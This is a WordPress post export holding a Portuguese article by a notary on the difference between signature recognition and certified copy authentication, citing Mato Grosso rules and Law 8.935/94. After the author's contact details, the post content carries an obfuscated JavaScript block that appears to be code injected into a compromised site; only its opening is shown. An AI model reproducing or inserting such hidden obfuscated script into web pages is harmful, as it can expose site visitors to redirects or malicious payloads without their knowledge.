{"id":699,"date":"2018-08-22T11:05:18","date_gmt":"2018-08-22T14:05:18","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-reconhecer-ou-autenticar-por-anderson-nogueira-guedes\/"},"modified":"2018-08-22T11:05:18","modified_gmt":"2018-08-22T14:05:18","slug":"artigo-reconhecer-ou-autenticar-por-anderson-nogueira-guedes","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-reconhecer-ou-autenticar-por-anderson-nogueira-guedes\/","title":{"rendered":"Artigo &#8211; Reconhecer ou Autenticar? &#8211; por Anderson Nogueira Guedes"},"content":{"rendered":"<p style=\"text-align:center\"><img decoding=\"async\" alt=\"\" src=\"\/ckeditor\/ckfinder\/userfiles\/images\/567.JPG\" style=\"height:333px; width:500px\" \/><\/p>\n<p style=\"text-align:center\"><strong>RECONHECER OU AUTENTICAR?<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>O reconhecimento de firmas e a autentica&ccedil;&atilde;o de c&oacute;pias s&atilde;o os atos mais comuns nas serventias notariais. Alguns chegam a afirmar, inclusive, que esses s&atilde;o os atos mais simples de lavra dos tabeli&atilde;es.<\/p>\n<p>Todos os dias milhares e milhares de pessoas procuram os tabelionatos de todo o pa&iacute;s, a fim de solicitarem reconhecimentos e autentica&ccedil;&otilde;es.<\/p>\n<p>No entanto, poucos s&atilde;o os que de fato conhecem tais servi&ccedil;os e a sua import&acirc;ncia para a ordem jur&iacute;dica, social e econ&ocirc;mica de nosso pa&iacute;s.<\/p>\n<p>As pessoas geralmente se confundem ao solicit&aacute;-los.<\/p>\n<p>Quem nunca ouviu, na pr&aacute;tica notarial, express&otilde;es como: &quot;reconhecimento de c&oacute;pia&quot; ou &quot;autentica&ccedil;&atilde;o de assinatura&quot;?<\/p>\n<p>&#8211; &quot;Quero autenticar minha assinatura!&quot;, dizem alguns; enquanto que outros pedem para reconhecer uma c&oacute;pia. H&aacute;, ainda, quem pe&ccedil;a para fazer o registro da sua assinatura. Isso &eacute; muito comum!<\/p>\n<p>Os atendentes j&aacute; est&atilde;o acostumados com isso e compreendem o que est&aacute; sendo solicitado.<\/p>\n<p>Mas, afinal de contas, o que &eacute; reconhecimento de firmas e autentica&ccedil;&atilde;o de c&oacute;pias?<\/p>\n<p>Podemos dizer de uma maneira bem objetiva que <em>reconhecimento de firma<\/em> &eacute; o ato atrav&eacute;s do qual o tabeli&atilde;o certifica que uma determinada assinatura pertence a uma determinada pessoa.<\/p>\n<p>J&aacute; a <em>autentica&ccedil;&atilde;o<\/em>, &eacute; o ato por meio do qual o tabeli&atilde;o certifica que uma determinada c&oacute;pia confere fielmente com o documento original apresentado.<\/p>\n<p>Simples, n&atilde;o &eacute; mesmo?!<\/p>\n<p>Reconhecer uma firma &eacute; o mesmo que reconhecer uma assinatura; nesse caso, <em>firma<\/em> e <em>assinatura<\/em> t&ecirc;m o mesmo significado.<\/p>\n<p>Existem duas formas b&aacute;sicas de reconhecimento: o reconhecimento por <em>semelhan&ccedil;a<\/em> e o reconhecimento <em>por autenticidade<\/em>, tamb&eacute;m conhecido como reconhecimento <em>&quot;por verdadeiro&quot;.<\/em><\/p>\n<p>Faz-se necess&aacute;ria, em ambos os casos de reconhecimento, a abertura de cart&atilde;o de assinaturas\/aut&oacute;grafos do signat&aacute;rio do documento, o qual sempre ficar&aacute; arquivado na serventia, em meio f&iacute;sico e digital.<\/p>\n<p>O <strong>reconhecimento por semelhan&ccedil;a<\/strong> &eacute; aquele em que o tabeli&atilde;o confronta a assinatura constante do documento apresentado com as assinaturas do signat&aacute;rio existentes em seu cart&atilde;o de aut&oacute;grafos arquivado na Serventia. Nesse tipo de reconhecimento o tabeli&atilde;o certifica que a assinatura aposta no documento apresentado <em><u>confere<\/u><\/em> com as assinaturas da pessoa constantes do cart&atilde;o de aut&oacute;grafos arquivado no cart&oacute;rio, reconhecendo-a por semelhan&ccedil;a.<\/p>\n<p>J&aacute; o <strong>reconhecimento por autenticidade<\/strong> ou <strong>&quot;por verdadeiro&quot;<\/strong> como se diz usualmente, &eacute; aquele em que a pessoa titular da assinatura que se pretende reconhecer comparece ao tabelionato, munida de seus documentos pessoais, e lan&ccedil;a a sua assinatura na presen&ccedil;a do tabeli&atilde;o ou de seus prepostos autorizados. Nessa esp&eacute;cie de reconhecimento o not&aacute;rio se certifica de que a pessoa ali presente realmente &eacute; quem diz ser, &agrave; vista do documento de identifica&ccedil;&atilde;o civil apresentado, confere a assinatura lan&ccedil;ada no documento com as assinaturas constantes do cart&atilde;o de aut&oacute;grafos e faz o reconhecimento.<\/p>\n<p>&Eacute; tamb&eacute;m muito comum, nos dias de hoje, a utiliza&ccedil;&atilde;o, por parte do tabeli&atilde;o, do cadastro biom&eacute;trico da pessoa existente no banco de dados da serventia.<\/p>\n<p>&Eacute; a tecnologia a servi&ccedil;o da seguran&ccedil;a jur&iacute;dica!<\/p>\n<p>Vale ressaltar que nem todos os documentos comportam o reconhecimento por semelhan&ccedil;a. Em alguns casos h&aacute; a exig&ecirc;ncia, por parte das Corregedorias Gerais de Justi&ccedil;a dos Estados, de que o reconhecimento seja necessariamente por autenticidade, obrigando a presen&ccedil;a da pessoa no cart&oacute;rio, munida dos seus documentos pessoais.<\/p>\n<p>No Estado de Mato Grosso, por exemplo, a Consolida&ccedil;&atilde;o das Normas Gerais da Corregedoria &#8211; Geral da Justi&ccedil;a &#8211; Foro Extrajudicial, prev&ecirc; em seu artigo 469 que:<\/p>\n<p>&nbsp;<\/p>\n<p style=\"margin-left:4.0cm\">Art. 469. Somente o Tabeli&atilde;o ou o seu preposto, previamente autorizado, &eacute; que poder&aacute; realizar reconhecimento de firma: I &#8211; quando se tratar de onera&ccedil;&atilde;o, transmiss&atilde;o ou promessa de transmiss&atilde;o de propriedade de bem im&oacute;vel, ve&iacute;culo, ou desaliena&ccedil;&atilde;o de ve&iacute;culo, independentemente do valor, <strong>dever&aacute; ser feita por autenticidade, obrigando a presen&ccedil;a do signat&aacute;rio<\/strong>, munido de documento de identifica&ccedil;&atilde;o. II &#8211; Nos demais instrumentos, com valor superior a 500 (quinhentas) Unidade Padr&atilde;o Fiscal do Estado de Mato Grosso &#8211; UPFs\/MT, <strong>o reconhecimento da firma s&oacute; poder&aacute; ser realizado por autenticidade<\/strong>; III &#8211; Nos instrumentos de valor inferior a 500 (quinhentas) UPFs\/MT, o reconhecimento da firma poder&aacute; ser feito por semelhan&ccedil;a, ressalvadas as hip&oacute;teses do inciso I deste artigo. (Alterado pela decis&atilde;o proferida pela Corregedora-Geral da Justi&ccedil;a do Estado de Mato Grosso nos autos do Pedido de Provid&ecirc;ncias 52\/2017). <strong>(grifo nosso)<\/strong><\/p>\n<p style=\"margin-left:4.0cm\">&nbsp;<\/p>\n<p>Nesses casos, a identifica&ccedil;&atilde;o pessoal feita pelo tabeli&atilde;o &agrave; vista dos documentos apresentados &eacute; de suma import&acirc;ncia.<\/p>\n<p>E, para isso, &eacute; imprescind&iacute;vel que as partes compare&ccedil;am &agrave; serventia munidas de seus documentos de identifica&ccedil;&atilde;o oficiais e CPF\/MF: Carteira de Identidade &#8211; RG, CNH &#8211; Carteira Nacional de Habilita&ccedil;&atilde;o, Passaporte, Carteiras de Exerc&iacute;cio Profissional devidamente reconhecidas e expedidas pelos &oacute;rg&atilde;os de classe (OAB, CRM, CRQ, etc), Carteiras de Identidade expedidas pelo Ex&eacute;rcito, Marinha e Aeron&aacute;utica, e outros assim reconhecidos por lei.<\/p>\n<p>Al&eacute;m disso, citados documentos devem permitir a correta identifica&ccedil;&atilde;o dos seus portadores.<\/p>\n<p>Alguns documentos, apesar de v&aacute;lidos, n&atilde;o permitem a identifica&ccedil;&atilde;o correta e adequada de seus portadores, como &eacute; o caso das Carteiras de Identidade v&aacute;rias vezes plastificadas, molhadas, rasgadas ou com fotos muito antigas, danificadas ou substitu&iacute;das.<\/p>\n<p>Os documentos de identifica&ccedil;&atilde;o oficiais devem estar preservados em todos os seus caracteres formais e em bom estado de conserva&ccedil;&atilde;o (sem rasuras, sem substitui&ccedil;&atilde;o de fotos, sem emendas, etc&#8230;), assim como possibilitar o reconhecimento da identidade de seus portadores.<\/p>\n<p>Tanto &eacute; que, caso o tabeli&atilde;o tenha d&uacute;vidas quanto &agrave; identidade da pessoa, n&atilde;o praticar&aacute; o ato.<\/p>\n<p>Igual cuidado deve ter ao autenticar uma c&oacute;pia.<\/p>\n<p>A c&oacute;pia a ser autenticada deve expressar fielmente o documento original do qual fora extra&iacute;da.<\/p>\n<p>Assim, a autentica&ccedil;&atilde;o somente poder&aacute; ser feita &agrave; vista do documento original, sendo vedada a autentica&ccedil;&atilde;o de c&oacute;pia de documento que possua trecho apagado, danificado ou rasurado, ou, ainda, que contenha emendas, uso de corretivo ou altera&ccedil;&otilde;es no texto original.<\/p>\n<p>Tamb&eacute;m n&atilde;o se autenticar&aacute; c&oacute;pia que proporcione d&uacute;vida, que seja ileg&iacute;vel ou de dif&iacute;cil leitura; tampouco se reconhecer&aacute; assinaturas em documentos com escrita &agrave; l&aacute;pis, sem data, com data futura, incompletos, em branco ou em papel t&eacute;rmico.<\/p>\n<p>N&atilde;o! Isso n&atilde;o &eacute; burocracia! S&atilde;o os cuidados exigidos no exerc&iacute;cio da profiss&atilde;o!<\/p>\n<p>De igual forma, n&atilde;o se far&aacute; o reconhecimento de firma e a autentica&ccedil;&atilde;o de documentos que afrontarem as leis, a soberania nacional e os bons costumes.<\/p>\n<p>Al&eacute;m disso, quando o tabeli&atilde;o suspeitar de que a assinatura aposta em um documento n&atilde;o &eacute; verdadeira ou de que h&aacute; ind&iacute;cios de adultera&ccedil;&atilde;o\/fraude, n&atilde;o praticar&aacute; o ato solicitado, exigindo a presen&ccedil;a do signat&aacute;rio na serventia.<\/p>\n<p>N&atilde;o raras s&atilde;o as vezes em que fals&aacute;rios tentam, de uma maneira ou de outra, obter a chancela de aprova&ccedil;&atilde;o do Estado em suas falsifica&ccedil;&otilde;es.&nbsp;<\/p>\n<p>Infelizmente isso &eacute; mais corriqueiro do que se imagina, e s&atilde;o os cart&oacute;rios que impedem que prospere um grande n&uacute;mero de fraudes e falsifica&ccedil;&otilde;es.<\/p>\n<p>J&aacute; imaginou qu&atilde;o inseguro seria se n&atilde;o existissem os cart&oacute;rios para barrar esse tipo de situa&ccedil;&atilde;o?<\/p>\n<p>As transa&ccedil;&otilde;es e neg&oacute;cios de modo geral (compra e venda de im&oacute;veis, ve&iacute;culos, presta&ccedil;&atilde;o de servi&ccedil;os, etc&#8230;) diminuiriam consideravelmente e a consecu&ccedil;&atilde;o de cr&eacute;ditos em institui&ccedil;&otilde;es financeiras seria mais dif&iacute;cil, inviabilizando uma s&eacute;rie de neg&oacute;cios e de empreendimentos.<\/p>\n<p>Essas seriam algumas consequ&ecirc;ncias. Isso sem falarmos no clima de inseguran&ccedil;a e instabilidade, que afastam investimentos e fazem com que as taxas de juros subam a todo instante.<\/p>\n<p>Seria um desastre!<\/p>\n<p>A seguran&ccedil;a gera e possibilita a circula&ccedil;&atilde;o de riquezas; a inseguran&ccedil;a, por sua vez, faz com que essas desapare&ccedil;am.<\/p>\n<p>Isso &eacute; muito s&eacute;rio!<\/p>\n<p>&nbsp;<\/p>\n<p>Devemos dizer, ainda, que os reconhecimentos e as autentica&ccedil;&otilde;es s&atilde;o de compet&ecirc;ncia exclusiva do tabeli&atilde;o de notas, assim como a lavratura de escrituras, procura&ccedil;&otilde;es e testamentos, p&uacute;blicos, a lavratura de atas notariais e a aprova&ccedil;&atilde;o de testamentos cerrados, conforme preconiza o artigo 7&ordm; da Lei n&ordm; 8.935\/94, <em>in verbis<\/em>:<\/p>\n<p style=\"margin-left:4.0cm\"><a name=\"art7\"><\/a>Art. 7&ordm; Aos tabeli&atilde;es de notas compete com exclusividade:<\/p>\n<p style=\"margin-left:4.0cm\">I &#8211; lavrar escrituras e procura&ccedil;&otilde;es, p&uacute;blicas;<\/p>\n<p style=\"margin-left:4.0cm\">II &#8211; lavrar testamentos p&uacute;blicos e aprovar os cerrados;<\/p>\n<p style=\"margin-left:4.0cm\">III &#8211; lavrar atas notariais;<\/p>\n<p style=\"margin-left:4.0cm\"><strong>IV &#8211; reconhecer firmas;<\/strong><\/p>\n<p style=\"margin-left:4.0cm\"><strong>V &#8211; autenticar c&oacute;pias.&quot; (grifo nosso)<\/strong><\/p>\n<p style=\"margin-left:4.0cm\">&nbsp;<\/p>\n<p>Isso importa dizer que somente o tabeli&atilde;o de notas pode reconhecer firmas e autenticar c&oacute;pias, por meio da f&eacute; p&uacute;blica nele investida pelo Estado.<\/p>\n<p>A f&eacute; p&uacute;blica afirma a certeza do que &eacute; certificado pelo tabeli&atilde;o, gerando a presun&ccedil;&atilde;o de veracidade de todos os seus atos e de tudo quanto declara (presun&ccedil;&atilde;o relativa ou <em>juris tantum<\/em>, em regra).<\/p>\n<p>&Eacute; por isso que, no t&eacute;rmino de atos notariais, utilizamos a express&atilde;o:<\/p>\n<p>&nbsp;&quot;O referido &eacute; verdade e dou f&eacute;&quot;.<\/p>\n<p>Ou seja, at&eacute; prova em contr&aacute;rio, presumem-se verdadeiros os atos notariais e tudo quanto deles consta, pela f&eacute; p&uacute;blica investida no tabeli&atilde;o.<\/p>\n<p>Nas cl&aacute;ssicas li&ccedil;&otilde;es de Walter Ceneviva (2010, p. 64):<\/p>\n<p>&nbsp;<\/p>\n<p style=\"margin-left:4.0cm\">O oficial do registro ou registrador, assim como o tabeli&atilde;o ou not&aacute;rio, &eacute; profissional do direito, dotado de f&eacute; p&uacute;blica, que atua por delega&ccedil;&atilde;o do Poder P&uacute;blico [&#8230;]\n<p style=\"margin-left:4.0cm\">A f&eacute; p&uacute;blica:<\/p>\n<p style=\"margin-left:4.0cm\">a) corresponde &agrave; especial confian&ccedil;a atribu&iacute;da por lei ao que o oficial declare ou fa&ccedil;a, no exerc&iacute;cio da fun&ccedil;&atilde;o, com presun&ccedil;&atilde;o de verdade;<\/p>\n<p style=\"margin-left:4.0cm\">b) afirma a efic&aacute;cia de neg&oacute;cio jur&iacute;dico ajustado com base no declarado ou praticado pelo registrador e pelo not&aacute;rio.<\/p>\n<p style=\"margin-left:4.0cm\">&nbsp;<\/p>\n<p>&Eacute; por essa raz&atilde;o que os atos notariais\/registrais s&atilde;o amplamente aceitos por &oacute;rg&atilde;os e reparti&ccedil;&otilde;es p&uacute;blicas, institui&ccedil;&otilde;es financeiras, educacionais e empresas privadas de todo o pa&iacute;s, assim como no exterior, produzindo os efeitos jur&iacute;dicos pretendidos, em ju&iacute;zo e fora dele, e gerando a seguran&ccedil;a jur&iacute;dica t&atilde;o almejada por todos.<\/p>\n<p>Como consequ&ecirc;ncia l&oacute;gica, nos atos que pratica, o tabeli&atilde;o tem o dever de sempre dizer\/atestar\/certificar a verdade; at&eacute; porque todos os atos de sua lavra s&atilde;o revestidos de autenticidade, presumindo-se verdadeiros para todos os fins de direito.<\/p>\n<p>Essa &eacute; uma grande responsabilidade!<\/p>\n<p>Autenticidade, segundo Martha El Debs (2018, p. 1674) &nbsp;&quot;&eacute; a qualidade, condi&ccedil;&atilde;o ou car&aacute;ter de aut&ecirc;ntico. Na atividade notarial e registral, ela decorre da f&eacute; p&uacute;blica do not&aacute;rio e do registrador&quot;<\/p>\n<p>Nesse cen&aacute;rio, os reconhecimentos e as autentica&ccedil;&otilde;es, mesmo sendo os atos mais comuns nos tabelionatos de notas, possuem pap&eacute;is fundamentais no mundo jur&iacute;dico, pois, assim como os demais atos notariais e registrais, proporcionam seguran&ccedil;a e a efic&aacute;cia jur&iacute;dica de uma s&eacute;rie de atos e neg&oacute;cios jur&iacute;dicos.<\/p>\n<p>Ao autenticar uma c&oacute;pia o tabeli&atilde;o transmite seguran&ccedil;a a todos quantos forem recepcionar aquele documento, afinal de contas podem ter a certeza de que o mesmo retrata fielmente a &iacute;ntegra do seu original.<\/p>\n<p>O mesmo ocorre com os reconhecimentos de firmas.<\/p>\n<p>Quando o tabeli&atilde;o reconhece as firmas em contratos, c&eacute;dulas, declara&ccedil;&otilde;es, autoriza&ccedil;&otilde;es e em outra infinidade de documentos, transmite seguran&ccedil;a jur&iacute;dica &agrave;s partes deles signat&aacute;rias, assim como &agrave; sociedade de modo geral, pois qualquer um que tiver acesso a tais documentos ter&aacute; a certeza quanto &agrave; autoria das assinaturas reconhecidas.<\/p>\n<p>Um simples reconhecimento de assinatura pode evitar enormes preju&iacute;zos &agrave;s partes e tamb&eacute;m ao Estado; e a inseguran&ccedil;a gerada pela sua falta pode levar a infind&aacute;veis demandas judiciais, assim como a enormes gastos e &agrave; inevit&aacute;vel desgaste emocional.<\/p>\n<p>Podemos dizer, portanto, que reconhecimentos e autentica&ccedil;&otilde;es s&atilde;o de capital import&acirc;ncia &agrave; ordem jur&iacute;dica, social e econ&ocirc;mica de nosso pa&iacute;s: &agrave; ordem jur&iacute;dica, porque, ao lado dos demais atos notariais e registrais, t&ecirc;m o cond&atilde;o de gerar as almejadas seguran&ccedil;a e efic&aacute;cia jur&iacute;dicas de uma infinidade de atos e neg&oacute;cios jur&iacute;dicos; &agrave; ordem social, pois evitam que uma enxurrada de processos venha a abarrotar ainda mais o Judici&aacute;rio Brasileiro, sendo um poderoso instrumento de pacifica&ccedil;&atilde;o social; e, &agrave; ordem econ&ocirc;mica, porque possibilitam a gera&ccedil;&atilde;o e circula&ccedil;&atilde;o de riquezas em nosso pa&iacute;s. &nbsp;<\/p>\n<p>Dessa forma, resta-me apenas perguntar:<\/p>\n<p>E, ent&atilde;o?! &Eacute; para reconhecer ou autenticar?<\/p>\n<p>&nbsp;<\/p>\n<p><em><strong>BIBLIOGRAFIA:<\/strong><\/em><\/p>\n<p>&nbsp;<\/p>\n<p>BRASIL.&nbsp;<strong>Lei n&ordm; 8.935, de 18 de novembro de 1994<\/strong>. Dispon&iacute;vel em: . Acesso em: 09 de agosto de 2018.<\/p>\n<p>CENEVIVA, Walter.&nbsp;<em><strong>Lei dos Registros P&uacute;blicos Comentada<\/strong><\/em>. 20&ordf; ed. S&atilde;o Paulo: Saraiva, 2010.<\/p>\n<p>CNGCE\/MT &#8211; <strong>Consolida&ccedil;&atilde;o das Normas Gerais da Corregedoria Geral de Justi&ccedil;a do Estado de Mato Grosso &#8211; Foro Extrajudicial<\/strong>. Dispon&iacute;vel em: . Acesso em: 09 de agosto de 2018.<\/p>\n<p>DEBS, Martha EL.&nbsp;<em><strong>Legisla&ccedil;&atilde;o Notarial e de Registros P&uacute;blicos Comentada. Doutrina, Jurisprud&ecirc;ncia e Quest&otilde;es de Concursos<\/strong><\/em><em>. <\/em>3&ordf; ed. rev., atual. e ampl. Savador: Juspodivm, 2018.<\/p>\n<p>&nbsp;<\/p>\n<p>*O autor, Anderson Nogueira Guedes, &eacute; Not&aacute;rio e Registrador P&uacute;blico Substituto do 2&ordm; Servi&ccedil;o Notarial e Registral de Campo Novo do Parecis &#8211; MT. Bacharel em Direito. Especialista em Direito Notarial e Registral. P&oacute;s-Graduando em Direito Tribut&aacute;rio e em Direito de Fam&iacute;lia e Sucess&otilde;es. Secret&aacute;rio Adjunto da ARPEN-MT. Autor de artigos jur&iacute;dicos publicados em sites especializados em Direito Notarial e Registral. Aprovado em v&aacute;rios concursos p&uacute;blicos para ingresso na Atividade Notarial e Registral.<\/p>\n<p>Contato: andersonnogueiraguedes@hotmail.com<\/p>\n<p>Instagram: @andersonnogueiraguedes<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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